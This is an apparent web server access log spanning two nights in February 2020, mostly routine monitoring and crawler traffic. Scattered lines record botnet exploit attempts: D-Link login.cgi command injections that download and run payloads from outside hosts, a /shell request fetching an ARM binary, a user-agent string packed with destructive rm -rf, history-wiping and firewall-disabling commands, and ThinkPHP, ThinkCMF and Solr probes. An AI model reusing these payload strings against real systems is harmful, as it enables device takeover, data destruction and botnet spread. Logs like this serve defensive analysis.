5.101.0.209 - - [27/Feb/2020:23:17:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.233.178.50 - - [27/Feb/2020:23:19:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.232.102.68 - - [27/Feb/2020:23:19:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.251.235.38 - - [27/Feb/2020:23:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.254.185.120 - - [27/Feb/2020:23:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.182.146.124 - - [27/Feb/2020:23:29:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.200.252.163 - - [27/Feb/2020:23:31:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.147.104.3 - - [27/Feb/2020:23:33:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
159.147.104.3 - - [27/Feb/2020:23:33:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.166.185 - - [27/Feb/2020:23:36:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [27/Feb/2020:23:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.122.131.160 - - [27/Feb/2020:23:39:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.47.122.134 - - [27/Feb/2020:23:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:23:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.226.83.156 - - [27/Feb/2020:23:42:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:23:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:23:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.67.163.254 - - [27/Feb/2020:23:59:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:23:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.106.120.70 - - [28/Feb/2020:00:03:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
138.204.132.197 - - [28/Feb/2020:00:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.112.71.55 - - [28/Feb/2020:00:13:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.50.101.8 - - [28/Feb/2020:00:13:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
134.35.166.185 - - [28/Feb/2020:00:17:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
5.101.0.209 - - [28/Feb/2020:00:26:44 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:27:17 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
66.249.64.88 - - [28/Feb/2020:00:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
113.119.192.205 - - [28/Feb/2020:00:39:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
186.208.17.185 - - [28/Feb/2020:00:39:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
203.170.65.134 - - [28/Feb/2020:00:40:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
81.24.91.137 - - [28/Feb/2020:00:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
152.249.60.236 - - [28/Feb/2020:00:41:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:42:46 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:42:46 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:43:20 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:43:20 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:49:32 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [28/Feb/2020:00:50:07 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
96.248.76.93 - - [28/Feb/2020:00:53:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
186.193.229.34 - - [28/Feb/2020:00:54:11 +0100] "GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 HTTP/1.0" 404 306 "-" "botnet/2.0"
95.173.224.85 - - [28/Feb/2020:00:54:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.186.147.226 - - [28/Feb/2020:00:55:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
223.71.167.166 - - [28/Feb/2020:00:56:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
195.158.93.59 - - [28/Feb/2020:01:16:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
66.249.64.48 - - [28/Feb/2020:01:17:19 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.48 - - [28/Feb/2020:01:17:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
121.161.99.72 - - [28/Feb/2020:01:18:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:01:18:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:01:18:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:01:18:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:01:19:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
60.49.120.206 - - [28/Feb/2020:01:19:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.68.246.198 - - [28/Feb/2020:01:21:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
109.232.2.46 - - [28/Feb/2020:01:21:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
84.22.158.89 - - [28/Feb/2020:01:38:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
114.32.68.60 - - [28/Feb/2020:01:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.164.199.15 - - [28/Feb/2020:01:49:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
84.228.79.8 - - [28/Feb/2020:01:54:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.102.226.187 - - [28/Feb/2020:01:58:05 +0100] "GET / HTTP/1.1" 400 6160 "-" "-"
35.227.78.137 - - [28/Feb/2020:02:00:51 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.227.78.137 - - [28/Feb/2020:02:00:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
102.182.73.141 - - [28/Feb/2020:02:02:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
194.153.113.100 - - [28/Feb/2020:02:07:26 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.100 - - [28/Feb/2020:02:07:27 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
186.225.63.228 - - [28/Feb/2020:02:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
83.28.98.227 - - [28/Feb/2020:02:12:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
190.171.222.196 - - [28/Feb/2020:02:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
149.12.219.22 - - [28/Feb/2020:02:18:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.92.50.142 - - [28/Feb/2020:02:24:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
165.16.37.150 - - [28/Feb/2020:02:25:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.20.174.33 - - [28/Feb/2020:02:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.166.1.2 - - [28/Feb/2020:02:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
223.71.167.166 - - [28/Feb/2020:02:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
34.73.5.17 - - [28/Feb/2020:02:53:45 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.73.5.17 - - [28/Feb/2020:02:53:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
45.48.224.168 - - [28/Feb/2020:03:00:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
168.181.120.11 - - [28/Feb/2020:03:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.235.115.83 - - [28/Feb/2020:03:14:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.188.61.2 - - [28/Feb/2020:03:28:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
202.44.110.154 - - [28/Feb/2020:03:35:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
93.47.143.243 - - [28/Feb/2020:03:36:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.51.24.34 - - [28/Feb/2020:03:45:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
138.185.37.20 - - [28/Feb/2020:03:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
37.20.247.154 - - [28/Feb/2020:03:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.161.99.72 - - [28/Feb/2020:03:55:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:03:55:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:03:55:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:03:55:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [28/Feb/2020:03:56:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [28/Feb/2020:03:59:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
134.35.166.185 - - [28/Feb/2020:04:04:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
54.89.180.13 - - [28/Feb/2020:04:07:12 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
95.84.249.9 - - [28/Feb/2020:04:12:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
138.185.127.142 - - [28/Feb/2020:04:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
64.82.155.189 - - [28/Feb/2020:04:15:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
188.138.75.107 - - [28/Feb/2020:04:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
